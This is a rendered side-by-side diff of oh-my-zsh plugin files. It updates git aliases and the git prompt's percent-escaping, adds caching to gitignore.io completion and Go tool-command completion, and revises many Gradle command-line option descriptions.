local default_branch=$(git_main_branch) local default_branch
(( ! $? )) || default_branch=$(git_develop_branch) default_branch=$(git_main_branch) \
|| default_branch=$(git_develop_branch)
git for-each-ref refs/heads/ "--format=%(refname:short)" | \ git for-each-ref refs/heads/ "--format=%(refname:short)" | \
while read branch; do while read branch; do
@@ -153,7 +173,7 @@ alias gbgd='LANG=C git branch --no-color -vv | grep ": gone\]" | cut -c 3- | awk
alias gbgD='LANG=C git branch --no-color -vv | grep ": gone\]" | cut -c 3- | awk '"'"'{print $1}'"'"' | xargs git branch -D' alias gbgD='LANG=C git branch --no-color -vv | grep ": gone\]" | cut -c 3- | awk '"'"'{print $1}'"'"' | xargs git branch -D'
alias gbm='git branch --move' alias gbm='git branch --move'
alias gbnm='git branch --no-merged' alias gbnm='git branch --no-merged'
alias gbr='git branch --remote' alias gbr='git branch --remotes'
alias ggsup='git branch --set-upstream-to=origin/$(git_current_branch)' alias ggsup='git branch --set-upstream-to=origin/$(git_current_branch)'
alias gbg='LANG=C git branch -vv | grep ": gone\]"' alias gbg='LANG=C git branch -vv | grep ": gone\]"'
alias gco='git checkout' alias gco='git checkout'
+4 -1
View File
@@ -235,7 +235,7 @@ __git_ps1_show_upstream ()
if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then
upstream="$upstream \${__git_ps1_upstream_name}" upstream="$upstream \${__git_ps1_upstream_name}"
else else
upstream="$upstream ${__git_ps1_upstream_name}" upstream="$upstream ${__git_ps1_upstream_name//\%/%%}"
# not needed anymore; keep user's # not needed anymore; keep user's
# environment clean # environment clean
unset __git_ps1_upstream_name unset __git_ps1_upstream_name
@@ -570,6 +570,9 @@ __git_ps1 ()
if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then
__git_ps1_branch_name=$b __git_ps1_branch_name=$b
b="\${__git_ps1_branch_name}" b="\${__git_ps1_branch_name}"
else
# escape % in branch name to avoid prompt expansion issues
b="${b//\%/%%}"
fi fi
if [ -n "${GIT_PS1_SHOWCOLORHINTS-}" ]; then if [ -n "${GIT_PS1_SHOWCOLORHINTS-}" ]; then
+37 -1
View File
@@ -10,12 +10,48 @@ function gi() {
} }
_gitignoreio_get_command_list() { _gitignoreio_get_command_list() {
setopt local_options pipe_fail
_gi_curl "list" | tr "," "\n" _gi_curl "list" | tr "," "\n"
} }
__gitignoreio_caching_policy() {
local -a oldp
oldp=("$1"(Nm+7))
(($#oldp))
}
_gitignoreio_retrieve_stale_cache() {
zstyle -t ":completion:${curcontext}:" use-cache || return 1
local cache_dir
zstyle -s ":completion:${curcontext}:" cache-path cache_dir
: ${cache_dir:=${ZDOTDIR:-$HOME}/.zcompcache}
[[ -e "$cache_dir/gi-list" ]] || return 1
. "$cache_dir/gi-list"
}
_gitignoreio() { _gitignoreio() {
compset -P '*,' compset -P '*,'
compadd -S '' $(_gitignoreio_get_command_list)
local cache_policy
zstyle -s ":completion:${curcontext}:" cache-policy cache_policy
if [[ -z "$cache_policy" ]]; then
zstyle ":completion:${curcontext}:" cache-policy __gitignoreio_caching_policy
fi
local -a _gi_list
if _cache_invalid gi-list || ! _retrieve_cache gi-list; then
local command_list
if command_list="$(_gitignoreio_get_command_list)" && [[ -n "$command_list" ]]; then
_gi_list=(${(f)command_list})
_store_cache gi-list _gi_list
else
_gitignoreio_retrieve_stale_cache
fi
fi
compadd -S '' -a _gi_list
} }
compdef _gitignoreio gi compdef _gitignoreio gi
+1 -1
View File
@@ -27,7 +27,7 @@ The plugin also documents two other ways to do this:
1. Using a function wrapper, such that, for example, there exists a function 1. Using a function wrapper, such that, for example, there exists a function
named `ls` which calls `gls` instead. Since functions have a higher preference named `ls` which calls `gls` instead. Since functions have a higher preference
than commands, this ends up calling the GNU coreutil. It has also a higher than commands, this ends up calling the GNU coreutils. It has also a higher
preference over shell builtins (`gecho` is called instead of the builtin `echo`). preference over shell builtins (`gecho` is called instead of the builtin `echo`).
2. Using an alias. This has an even higher preference than functions, but they 2. Using an alias. This has an even higher preference than functions, but they
+47 -1
View File
@@ -15,6 +15,52 @@ __go_identifiers() {
compadd $(godoc -templates "$tmpl_path" ${words[-2]} 2> /dev/null) compadd $(godoc -templates "$tmpl_path" ${words[-2]} 2> /dev/null)
} }
__go_tool_commands() {
local -a tools tool_commands
local -A command_seen short_count
local tool command
tools=("${(@f)$(go tool 2>/dev/null)}")
# Go 1.24+ lists module tools by package path, but also accepts unique
# default binary names for those tools.
for tool in "${tools[@]}"; do
[[ -n $tool ]] || continue
(( command_seen[$tool]++ ))
if [[ $tool == */* ]]; then
command=${tool:t}
if [[ $command == v[0-9]* && ${command#v} != *[^0-9]* ]] && (( ${command#v} > 1 )); then
command=${${tool%/$command}:t}
fi
(( short_count[$command]++ ))
fi
done
for tool in "${tools[@]}"; do
[[ -n $tool ]] || continue
tool_commands+=("$tool")
if [[ $tool == */* ]]; then
command=${tool:t}
if [[ $command == v[0-9]* && ${command#v} != *[^0-9]* ]] && (( ${command#v} > 1 )); then
command=${${tool%/$command}:t}
fi
if (( short_count[$command] == 1 && ! command_seen[$command] )); then
tool_commands+=("$command")
fi
fi
done
_values "go tool" "${tool_commands[@]}"
}
_go() { _go() {
typeset -a commands build_flags typeset -a commands build_flags
commands+=( commands+=(
@@ -208,7 +254,7 @@ _go() {
;; ;;
tool) tool)
if (( CURRENT == 3 )); then if (( CURRENT == 3 )); then
_values "go tool" $(go tool) __go_tool_commands
return return
fi fi
case ${words[3]} in case ${words[3]} in
+142 -120
View File
@@ -34,18 +34,16 @@ __gradle-set-build-file() {
local default_gradle_build_file_name="build.gradle" local default_gradle_build_file_name="build.gradle"
if [[ -r $gradle_settings_file ]]; then if [[ -r $gradle_settings_file ]]; then
default_gradle_build_file_name=${$(grep "^rootProject\.buildFileName" $gradle_settings_file | \ local build_file_name=${$(grep "^rootProject\.buildFileName" $gradle_settings_file | \
sed -n -e "s/rootProject\.buildFileName = [\'\"]\(.*\)[\'\"]/\1/p")} sed -n -e "s/rootProject\.buildFileName = [\'\"]\(.*\)[\'\"]/\1/p")}
default_gradle_build_file_name="${default_gradle_build_file:-build.gradle}" default_gradle_build_file_name="${build_file_name:-build.gradle}"
fi fi
local default_gradle_build_file="$project_root_dir/$default_gradle_build_file_name" gradle_build_file="$project_root_dir/$default_gradle_build_file_name"
if [[ ! -f $default_gradle_build_file ]]; then if [[ ! -f $gradle_build_file ]]; then
default_gradle_build_file="$project_root_dir/build.gradle.kts" gradle_build_file="$project_root_dir/build.gradle.kts"
fi fi
gradle_build_file=$default_gradle_build_file
} }
__gradle-set-cache-name() { __gradle-set-cache-name() {
@@ -214,6 +212,7 @@ __gradle_subcommand() {
'--dsl=[Set the build script DSL to be used in generated scripts.]' \ '--dsl=[Set the build script DSL to be used in generated scripts.]' \
'--incubating[Allow the generated build to use new features and APIs.]' \ '--incubating[Allow the generated build to use new features and APIs.]' \
'--insecure-protocol=[How to handle insecure URLs used for Maven Repositories.]' \ '--insecure-protocol=[How to handle insecure URLs used for Maven Repositories.]' \
'--into=[Set the directory where the project is generated.]' \
'--java-version=[Provides java version to use in the project.]' \ '--java-version=[Provides java version to use in the project.]' \
'--overwrite[Allow existing files in the build directory to be overwritten?]' \ '--overwrite[Allow existing files in the build directory to be overwritten?]' \
'--package=[Set the package for source files.]' \ '--package=[Set the package for source files.]' \
@@ -228,6 +227,7 @@ __gradle_subcommand() {
'--all[Show additional tasks and detail.]' \ '--all[Show additional tasks and detail.]' \
'--group=[Show tasks for a specific group.]' \ '--group=[Show tasks for a specific group.]' \
'--groups=[Show tasks for specific groups (can be used multiple times to specify multiple groups).]' \ '--groups=[Show tasks for specific groups (can be used multiple times to specify multiple groups).]' \
'--provenance[Show task provenance information]' \
'--types[Show task class types]' && ret=0 '--types[Show task class types]' && ret=0
;; ;;
(test) (test)
@@ -245,11 +245,15 @@ __gradle_subcommand() {
'--gradle-distribution-url=[The URL to download the Gradle distribution from.]' \ '--gradle-distribution-url=[The URL to download the Gradle distribution from.]' \
'--gradle-version=[The version of the Gradle distribution required by the wrapper. The following labels are allowed: latest, release-candidate, release-milestone, release-nightly, and nightly.]' \ '--gradle-version=[The version of the Gradle distribution required by the wrapper. The following labels are allowed: latest, release-candidate, release-milestone, release-nightly, and nightly.]' \
'--network-timeout=[Timeout in ms to use when the wrapper is performing network operations.]' \ '--network-timeout=[Timeout in ms to use when the wrapper is performing network operations.]' \
'--retries=[The number of download retries.]' \
'--retry-back-off-ms=[The initial back off in milliseconds between retries (doubles on each failure).]' \
'--validate-url[Sets task to validate the configured distribution url.]' && ret=0 '--validate-url[Sets task to validate the configured distribution url.]' && ret=0
;; ;;
(*) (*)
_arguments -C \ _arguments -C \
'-Dgradle.user.home=[Specifies the Gradle user home directory. Defaults to ~/.gradle]:gradle.user.home:_directories' \ '-Dcom.gradle.develocity.plugin.version=[Version of the Develocity plugin to auto-apply, must be 4.4.0 or higher if Develocity URL is specified as well.]' \
'-Dcom.gradle.develocity.url=[Default URL of the Develocity server to publish Build Scan to. Triggers auto-application of the Develocity plugin if not already applied.]' \
'-Dgradle.user.home=[Specifies the Gradle user home directory. Default is ~/.gradle.]:gradle.user.home:_directories' \
'-Dorg.gradle.caching.debug=[]' \ '-Dorg.gradle.caching.debug=[]' \
'-Dorg.gradle.caching=[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]:org.gradle.caching:(true false)' \ '-Dorg.gradle.caching=[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]:org.gradle.caching:(true false)' \
'-Dorg.gradle.configuration-cache.entries-per-key=[]' \ '-Dorg.gradle.configuration-cache.entries-per-key=[]' \
@@ -260,24 +264,26 @@ __gradle_subcommand() {
'-Dorg.gradle.configuration-cache.integrity-check=[]' \ '-Dorg.gradle.configuration-cache.integrity-check=[]' \
'-Dorg.gradle.configuration-cache.max-problems=[]' \ '-Dorg.gradle.configuration-cache.max-problems=[]' \
'-Dorg.gradle.configuration-cache.parallel=[]' \ '-Dorg.gradle.configuration-cache.parallel=[]' \
'-Dorg.gradle.configuration-cache.problems=[Configures how the configuration cache handles problems (fail or warn). Defaults to fail.]:org.gradle.configuration cache.problems:(fail warn)' \ '-Dorg.gradle.configuration-cache.problems=[Configures how the configuration cache handles problems (fail or warn). Supported values are 'warn', or 'fail' (default).]:org.gradle.configuration cache.problems:(fail warn)' \
'-Dorg.gradle.configuration-cache.read-only=[]' \ '-Dorg.gradle.configuration-cache.read-only=[]' \
'-Dorg.gradle.configuration-cache.unsafe.ignore.unsupported-build-events-listeners=[]' \ '-Dorg.gradle.configuration-cache.unsafe.ignore.unsupported-build-events-listeners=[]' \
'-Dorg.gradle.configuration-cache=[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \ '-Dorg.gradle.configuration-cache=[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \
'-Dorg.gradle.configureondemand=[Configure necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds.]' \ '-Dorg.gradle.configureondemand=[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds.]' \
'-Dorg.gradle.console=[Specifies which type of console output to generate. Values are 'plain', 'colored', 'auto' (default), 'rich' or 'verbose'.]:org.gradle.console:(plain auto rich verbose)' \ '-Dorg.gradle.console.interactive=[]' \
'-Dorg.gradle.continue=[Continue task execution after a task failure.]' \ '-Dorg.gradle.console.unicode=[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]' \
'-Dorg.gradle.console=[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:org.gradle.console:(plain auto rich verbose)' \
'-Dorg.gradle.continue=[Continues task execution after a task failure.]' \
'-Dorg.gradle.continuous.quietperiod=[]' \ '-Dorg.gradle.continuous.quietperiod=[]' \
'-Dorg.gradle.daemon.healthcheckinterval=[]' \ '-Dorg.gradle.daemon.healthcheckinterval=[]' \
'-Dorg.gradle.daemon.idletimeout=[]' \ '-Dorg.gradle.daemon.idletimeout=[]' \
'-Dorg.gradle.daemon.registry.base=[]:org.gradle.daemon.registry.base:_directories' \ '-Dorg.gradle.daemon.registry.base=[]:org.gradle.daemon.registry.base:_directories' \
'-Dorg.gradle.daemon=[Uses the Gradle daemon to run the build. Starts the daemon if not running.]' \ '-Dorg.gradle.daemon=[Uses the Gradle daemon to run the build. Starts the daemon if it is not running.]' \
'-Dorg.gradle.debug.host=[]' \ '-Dorg.gradle.debug.host=[]' \
'-Dorg.gradle.debug.port=[]' \ '-Dorg.gradle.debug.port=[]' \
'-Dorg.gradle.debug.server=[]' \ '-Dorg.gradle.debug.server=[]' \
'-Dorg.gradle.debug.suspend=[]' \ '-Dorg.gradle.debug.suspend=[]' \
'-Dorg.gradle.debug=[]:org.gradle.debug:(true false)' \ '-Dorg.gradle.debug=[]:org.gradle.debug:(true false)' \
'-Dorg.gradle.dependency.verification=[Configures the dependency verification mode. Values are 'strict', 'lenient' or 'off'.]:org.gradle.dependency.verification:(strict lenient off)' \ '-Dorg.gradle.dependency.verification=[Configures the dependency verification mode. Supported values are 'strict', 'lenient', or 'off'.]:org.gradle.dependency.verification:(strict lenient off)' \
'-Dorg.gradle.java.home=[]:org.gradle.java.home:_directories' \ '-Dorg.gradle.java.home=[]:org.gradle.java.home:_directories' \
'-Dorg.gradle.java.installations.auto-detect=[]' \ '-Dorg.gradle.java.installations.auto-detect=[]' \
'-Dorg.gradle.java.installations.auto-download=[]' \ '-Dorg.gradle.java.installations.auto-download=[]' \
@@ -288,69 +294,75 @@ __gradle_subcommand() {
'-Dorg.gradle.logging.level=[]:org.gradle.logging.level:(quiet warn info debug)' \ '-Dorg.gradle.logging.level=[]:org.gradle.logging.level:(quiet warn info debug)' \
'-Dorg.gradle.logging.stacktrace=[]' \ '-Dorg.gradle.logging.stacktrace=[]' \
'-Dorg.gradle.native=[]' \ '-Dorg.gradle.native=[]' \
'-Dorg.gradle.parallel=[Build projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]:org.gradle.parallel:(true false)' \ '-Dorg.gradle.parallel=[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]:org.gradle.parallel:(true false)' \
'-Dorg.gradle.priority=[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Values are 'normal' (default) or 'low']:org.gradle.priority:(normal low)' \ '-Dorg.gradle.priority=[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]:org.gradle.priority:(normal low)' \
'-Dorg.gradle.problems.report=[(Experimental) enables HTML problems report]' \ '-Dorg.gradle.problems.report=[Enables the HTML problems report.]' \
'-Dorg.gradle.projectcachedir=[Specify the project-specific cache directory. Defaults to .gradle in the root project directory.]:org.gradle.projectcachedir:_directories' \ '-Dorg.gradle.projectcachedir=[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:org.gradle.projectcachedir:_directories' \
'-Dorg.gradle.tooling.parallel=[]' \
'-Dorg.gradle.unsafe.isolated-projects.diagnostics=[]' \
'-Dorg.gradle.unsafe.isolated-projects=[]' \ '-Dorg.gradle.unsafe.isolated-projects=[]' \
'-Dorg.gradle.vfs.verbose=[]' \ '-Dorg.gradle.vfs.verbose=[]' \
'-Dorg.gradle.vfs.watch=[Enables watching the file system for changes, allowing data about the file system to be re-used for the next build.]:org.gradle.vfs.watch:(true false)' \ '-Dorg.gradle.vfs.watch=[Enables file system watching. Reuses file system data for subsequent builds.]:org.gradle.vfs.watch:(true false)' \
'-Dorg.gradle.warning.mode=[Specifies which mode of warnings to generate. Values are 'all', 'fail', 'summary'(default) or 'none']' \ '-Dorg.gradle.warning.mode=[Specifies which mode of warnings to generate. Supported values are 'all', 'fail', 'summary' (default), or 'none'.]' \
'-Dorg.gradle.welcome=[]:org.gradle.welcome:(once never)' \ '-Dorg.gradle.welcome=[]:org.gradle.welcome:(once never)' \
'-Dorg.gradle.workers.max=[Configure the number of concurrent workers Gradle is allowed to use.]' \ '-Dorg.gradle.workers.max=[Configures the maximum number of concurrent workers Gradle is allowed to use.]' \
(--no-build-cache)'--build-cache[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]' \ (--no-build-cache)'--build-cache[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]' \
(--no-configuration-cache)'--configuration-cache[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \ (--no-configuration-cache)'--configuration-cache[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \
'--configuration-cache-problems[Configures how the configuration cache handles problems (fail or warn). Defaults to fail.]:configuration cache problems:(fail warn)' \ '--configuration-cache-problems[Configures how the configuration cache handles problems (fail or warn). Supported values are 'warn', or 'fail' (default).]:configuration cache problems:(fail warn)' \
(--no-configure-on-demand)'--configure-on-demand[Configure necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds. (incubating)]' \ (--no-configure-on-demand)'--configure-on-demand[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds. (incubating)]' \
'--console[Specifies which type of console output to generate. Values are 'plain', 'colored', 'auto' (default), 'rich' or 'verbose'.]:console:(plain auto rich verbose)' \ '--console[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:console:(plain auto rich verbose)' \
(--no-continue)'--continue[Continue task execution after a task failure.]' \ '--console-unicode[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]' \
(--no-continue)'--continue[Continues task execution after a task failure.]' \
{-t,--continuous}'[Enables continuous build. Gradle does not exit and will re-execute tasks when task file inputs change.]' \ {-t,--continuous}'[Enables continuous build. Gradle does not exit and will re-execute tasks when task file inputs change.]' \
(--no-daemon)'--daemon[Uses the Gradle daemon to run the build. Starts the daemon if not running.]' \ (--no-daemon)'--daemon[Uses the Gradle daemon to run the build. Starts the daemon if it is not running.]' \
(--quiet,-q,--warn,-w,--info,-i){-d,--debug}'[Log in debug mode (includes normal stacktrace).]' \ (--quiet,-q,--warn,-w,--info,-i){-d,--debug}'[Sets log level to debug. Includes the normal stacktrace.]' \
{-F,--dependency-verification}'[Configures the dependency verification mode. Values are 'strict', 'lenient' or 'off'.]:dependency verification:(strict lenient off)' \ {-F,--dependency-verification}'[Configures the dependency verification mode. Supported values are 'strict', 'lenient', or 'off'.]:dependency verification:(strict lenient off)' \
{-m,--dry-run}'[Run the builds with all task actions disabled.]' \ '--develocity-plugin-version[Version of the Develocity plugin to auto-apply, must be 4.4.0 or higher if Develocity URL is specified as well.]' \
\*{-x,--exclude-task}'[Specify a task to be excluded from execution.]' \ '--develocity-url[Default URL of the Develocity server to publish Build Scan to. Triggers auto-application of the Develocity plugin if not already applied.]' \
{-m,--dry-run}'[Runs the build with all task actions disabled.]' \
\*{-x,--exclude-task}'[Specifies a task to exclude from execution.]' \
'--export-keys[Exports the public keys used for dependency verification.]' \ '--export-keys[Exports the public keys used for dependency verification.]' \
'--foreground[Starts the Gradle daemon in the foreground.]' \ '--foreground[Starts the Gradle daemon in the foreground.]' \
(--stacktrace,-s){-S,--full-stacktrace}'[Print out the full (very verbose) stacktrace for all exceptions.]' \ (--stacktrace,-s){-S,--full-stacktrace}'[Prints the full (very verbose) stacktrace for all exceptions.]' \
{-g,--gradle-user-home}'[Specifies the Gradle user home directory. Defaults to ~/.gradle]:gradle user home:_directories' \ {-g,--gradle-user-home}'[Specifies the Gradle user home directory. Default is ~/.gradle.]:gradle user home:_directories' \
\*'--include-build[Include the specified build in the composite.]:include build:_directories' \ \*'--include-build[Includes the specified build in the composite.]:include build:_directories' \
(--quiet,-q,--warn,-w,--debug,-d){-i,--info}'[Set log level to info.]' \ (--quiet,-q,--warn,-w,--debug,-d){-i,--info}'[Sets the log level to info.]' \
\*{-I,--init-script}'[Specify an initialization script.]:init script:_files -g \*.gradle(|.kts)' \ \*{-I,--init-script}'[Specifies an initialization script.]:init script:_files -g \*.gradle(|.kts)' \
'--max-workers[Configure the number of concurrent workers Gradle is allowed to use.]' \ '--max-workers[Configures the maximum number of concurrent workers Gradle is allowed to use.]' \
(--build-cache)'--no-build-cache[Disables the Gradle build cache.]' \ (--build-cache)'--no-build-cache[Disables the Gradle build cache.]' \
(--configuration-cache)'--no-configuration-cache[Disables the configuration cache.]' \ (--configuration-cache)'--no-configuration-cache[Disables the configuration cache.]' \
(--configure-on-demand)'--no-configure-on-demand[Disables the use of configuration on demand. (incubating)]' \ (--configure-on-demand)'--no-configure-on-demand[Disables the use of configuration on demand. (incubating)]' \
(--continue)'--no-continue[Stop task execution after a task failure.]' \ (--continue)'--no-continue[Stops task execution after a task failure.]' \
(--daemon)'--no-daemon[Do not use the Gradle daemon to run the build. Useful occasionally if you have configured Gradle to always run with the daemon by default.]' \ (--daemon)'--no-daemon[Runs the build without the Gradle daemon. Useful occasionally if you have configured Gradle to always run with the daemon by default.]' \
(--parallel)'--no-parallel[Disables parallel execution to build projects.]' \ (--parallel)'--no-parallel[Disables parallel project execution.]' \
(--problems-report)'--no-problems-report[(Experimental) disables HTML problems report]' \ (--problems-report)'--no-problems-report[Disables the HTML problems report. (incubating)]' \
{-a,--no-rebuild}'[Do not rebuild project dependencies.]' \ {-a,--no-rebuild}'[Disables rebuilding of project dependencies.]' \
(--scan)'--no-scan[Disables the creation of a Build Scan.]' \ (--scan)'--no-scan[Disables the creation of a Build Scan.]' \
(--watch-fs)'--no-watch-fs[Disables watching the file system.]' \ (--watch-fs)'--no-watch-fs[Disables file system watching.]' \
'--offline[Execute the build without accessing network resources.]' \ '--non-interactive[Do not do interactive prompting. (incubating)]' \
(--no-parallel)'--parallel[Build projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \ '--offline[Runs the build without accessing network resources.]' \
'--priority[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Values are 'normal' (default) or 'low']' \ (--no-parallel)'--parallel[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \
(--no-problems-report)'--problems-report[(Experimental) enables HTML problems report]' \ '--priority[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]' \
'--profile[Profile build execution time and generates a report in the <build_dir>/reports/profile directory.]' \ (--no-problems-report)'--problems-report[Enables the HTML problems report. (incubating)]' \
'--project-cache-dir[Specify the project-specific cache directory. Defaults to .gradle in the root project directory.]:project cache dir:_directories' \ '--profile[Profiles build execution time. Generates a report in the <build_dir>/reports/profile directory.]' \
{-p,--project-dir}'[Specifies the start directory for Gradle. Defaults to current directory.]:project dir:_directories' \ '--project-cache-dir[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:project cache dir:_directories' \
'--property-upgrade-report[(Experimental) Runs build with experimental property upgrade report.]' \ {-p,--project-dir}'[Specifies the start directory for Gradle. Default is the current directory.]:project dir:_directories' \
(--warn,-w,--info,-i,--debug,-d){-q,--quiet}'[Log errors only.]' \ '--property-upgrade-report[Runs the build with the experimental property upgrade report. (incubating)]' \
{-U,--refresh-dependencies}'[Refresh the state of dependencies.]' \ (--warn,-w,--info,-i,--debug,-d){-q,--quiet}'[Logs errors only.]' \
'--refresh-keys[Refresh the public keys used for dependency verification.]' \ {-U,--refresh-dependencies}'[Refreshes the state of dependencies.]' \
'--refresh-keys[Refreshes the public keys used for dependency verification.]' \
'--rerun[Causes the task to be re-run even if up-to-date.]' \ '--rerun[Causes the task to be re-run even if up-to-date.]' \
'--rerun-tasks[Ignore previously cached task results.]' \ '--rerun-tasks[Ignores previously cached task results.]' \
(--no-scan)'--scan[Generate a Build Scan (powered by Develocity).]' \ (--no-scan)'--scan[Generates a Build Scan (powered by Develocity).]' \
{-V,--show-version}'[Print version info and continue.]' \ {-V,--show-version}'[Print version info and continue.]' \
(--full-stacktrace,-S){-s,--stacktrace}'[Print out the stacktrace for all exceptions.]' \ (--full-stacktrace,-S){-s,--stacktrace}'[Prints the stacktrace for all exceptions.]' \
'--task-graph[(Experimental) Print task graph instead of executing tasks.]' \ '--task-graph[Prints the task graph instead of executing tasks.]' \
\*'--update-locks[Perform a partial update of the dependency lock, letting passed in module notations change version. (incubating)]' \ \*'--update-locks[Performs a partial update of the dependency lock. Allows passed-in module notations to change version. (incubating)]' \
(--quiet,-q,--info,-i,--debug,-d){-w,--warn}'[Set log level to warn.]' \ (--quiet,-q,--info,-i,--debug,-d){-w,--warn}'[Sets the log level to warn.]' \
'--warning-mode[Specifies which mode of warnings to generate. Values are 'all', 'fail', 'summary'(default) or 'none']:warning mode:(all summary none)' \ '--warning-mode[Specifies which mode of warnings to generate. Supported values are 'all', 'fail', 'summary' (default), or 'none'.]:warning mode:(all summary none)' \
(--no-watch-fs)'--watch-fs[Enables watching the file system for changes, allowing data about the file system to be re-used for the next build.]' \ (--no-watch-fs)'--watch-fs[Enables file system watching. Reuses file system data for subsequent builds.]' \
'--write-locks[Persists dependency resolution for locked configurations, ignoring existing locking information if it exists]' \ '--write-locks[Persists dependency resolution for locked configurations. Ignores existing locking information if it exists.]' \
{-M,--write-verification-metadata}'[Generates checksums for dependencies used in the project (comma-separated list)]' && ret=0 {-M,--write-verification-metadata}'[Generates checksums for dependencies used in the project. Accepts a comma-separated list.]' && ret=0
;; ;;
esac esac
@@ -376,7 +388,9 @@ _gradle() {
typeset -A opt_args typeset -A opt_args
_arguments -C \ _arguments -C \
'-Dgradle.user.home=[Specifies the Gradle user home directory. Defaults to ~/.gradle]:gradle.user.home:_directories:->argument-expected' \ '-Dcom.gradle.develocity.plugin.version=[Version of the Develocity plugin to auto-apply, must be 4.4.0 or higher if Develocity URL is specified as well.]:->argument-expected' \
'-Dcom.gradle.develocity.url=[Default URL of the Develocity server to publish Build Scan to. Triggers auto-application of the Develocity plugin if not already applied.]:->argument-expected' \
'-Dgradle.user.home=[Specifies the Gradle user home directory. Default is ~/.gradle.]:gradle.user.home:_directories:->argument-expected' \
'-Dorg.gradle.caching.debug=[]:->argument-expected' \ '-Dorg.gradle.caching.debug=[]:->argument-expected' \
'-Dorg.gradle.caching=[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]:org.gradle.caching:(true false):->argument-expected' \ '-Dorg.gradle.caching=[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]:org.gradle.caching:(true false):->argument-expected' \
'-Dorg.gradle.configuration-cache.entries-per-key=[]:->argument-expected' \ '-Dorg.gradle.configuration-cache.entries-per-key=[]:->argument-expected' \
@@ -387,24 +401,26 @@ _gradle() {
'-Dorg.gradle.configuration-cache.integrity-check=[]:->argument-expected' \ '-Dorg.gradle.configuration-cache.integrity-check=[]:->argument-expected' \
'-Dorg.gradle.configuration-cache.max-problems=[]:->argument-expected' \ '-Dorg.gradle.configuration-cache.max-problems=[]:->argument-expected' \
'-Dorg.gradle.configuration-cache.parallel=[]:->argument-expected' \ '-Dorg.gradle.configuration-cache.parallel=[]:->argument-expected' \
'-Dorg.gradle.configuration-cache.problems=[Configures how the configuration cache handles problems (fail or warn). Defaults to fail.]:org.gradle.configuration cache.problems:(fail warn):->argument-expected' \ '-Dorg.gradle.configuration-cache.problems=[Configures how the configuration cache handles problems (fail or warn). Supported values are 'warn', or 'fail' (default).]:org.gradle.configuration cache.problems:(fail warn):->argument-expected' \
'-Dorg.gradle.configuration-cache.read-only=[]:->argument-expected' \ '-Dorg.gradle.configuration-cache.read-only=[]:->argument-expected' \
'-Dorg.gradle.configuration-cache.unsafe.ignore.unsupported-build-events-listeners=[]:->argument-expected' \ '-Dorg.gradle.configuration-cache.unsafe.ignore.unsupported-build-events-listeners=[]:->argument-expected' \
'-Dorg.gradle.configuration-cache=[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]:->argument-expected' \ '-Dorg.gradle.configuration-cache=[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]:->argument-expected' \
'-Dorg.gradle.configureondemand=[Configure necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds.]:->argument-expected' \ '-Dorg.gradle.configureondemand=[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds.]:->argument-expected' \
'-Dorg.gradle.console=[Specifies which type of console output to generate. Values are 'plain', 'colored', 'auto' (default), 'rich' or 'verbose'.]:org.gradle.console:(plain auto rich verbose):->argument-expected' \ '-Dorg.gradle.console.interactive=[]:->argument-expected' \
'-Dorg.gradle.continue=[Continue task execution after a task failure.]:->argument-expected' \ '-Dorg.gradle.console.unicode=[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]:->argument-expected' \
'-Dorg.gradle.console=[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:org.gradle.console:(plain auto rich verbose):->argument-expected' \
'-Dorg.gradle.continue=[Continues task execution after a task failure.]:->argument-expected' \
'-Dorg.gradle.continuous.quietperiod=[]:->argument-expected' \ '-Dorg.gradle.continuous.quietperiod=[]:->argument-expected' \
'-Dorg.gradle.daemon.healthcheckinterval=[]:->argument-expected' \ '-Dorg.gradle.daemon.healthcheckinterval=[]:->argument-expected' \
'-Dorg.gradle.daemon.idletimeout=[]:->argument-expected' \ '-Dorg.gradle.daemon.idletimeout=[]:->argument-expected' \
'-Dorg.gradle.daemon.registry.base=[]:org.gradle.daemon.registry.base:_directories:->argument-expected' \ '-Dorg.gradle.daemon.registry.base=[]:org.gradle.daemon.registry.base:_directories:->argument-expected' \
'-Dorg.gradle.daemon=[Uses the Gradle daemon to run the build. Starts the daemon if not running.]:->argument-expected' \ '-Dorg.gradle.daemon=[Uses the Gradle daemon to run the build. Starts the daemon if it is not running.]:->argument-expected' \
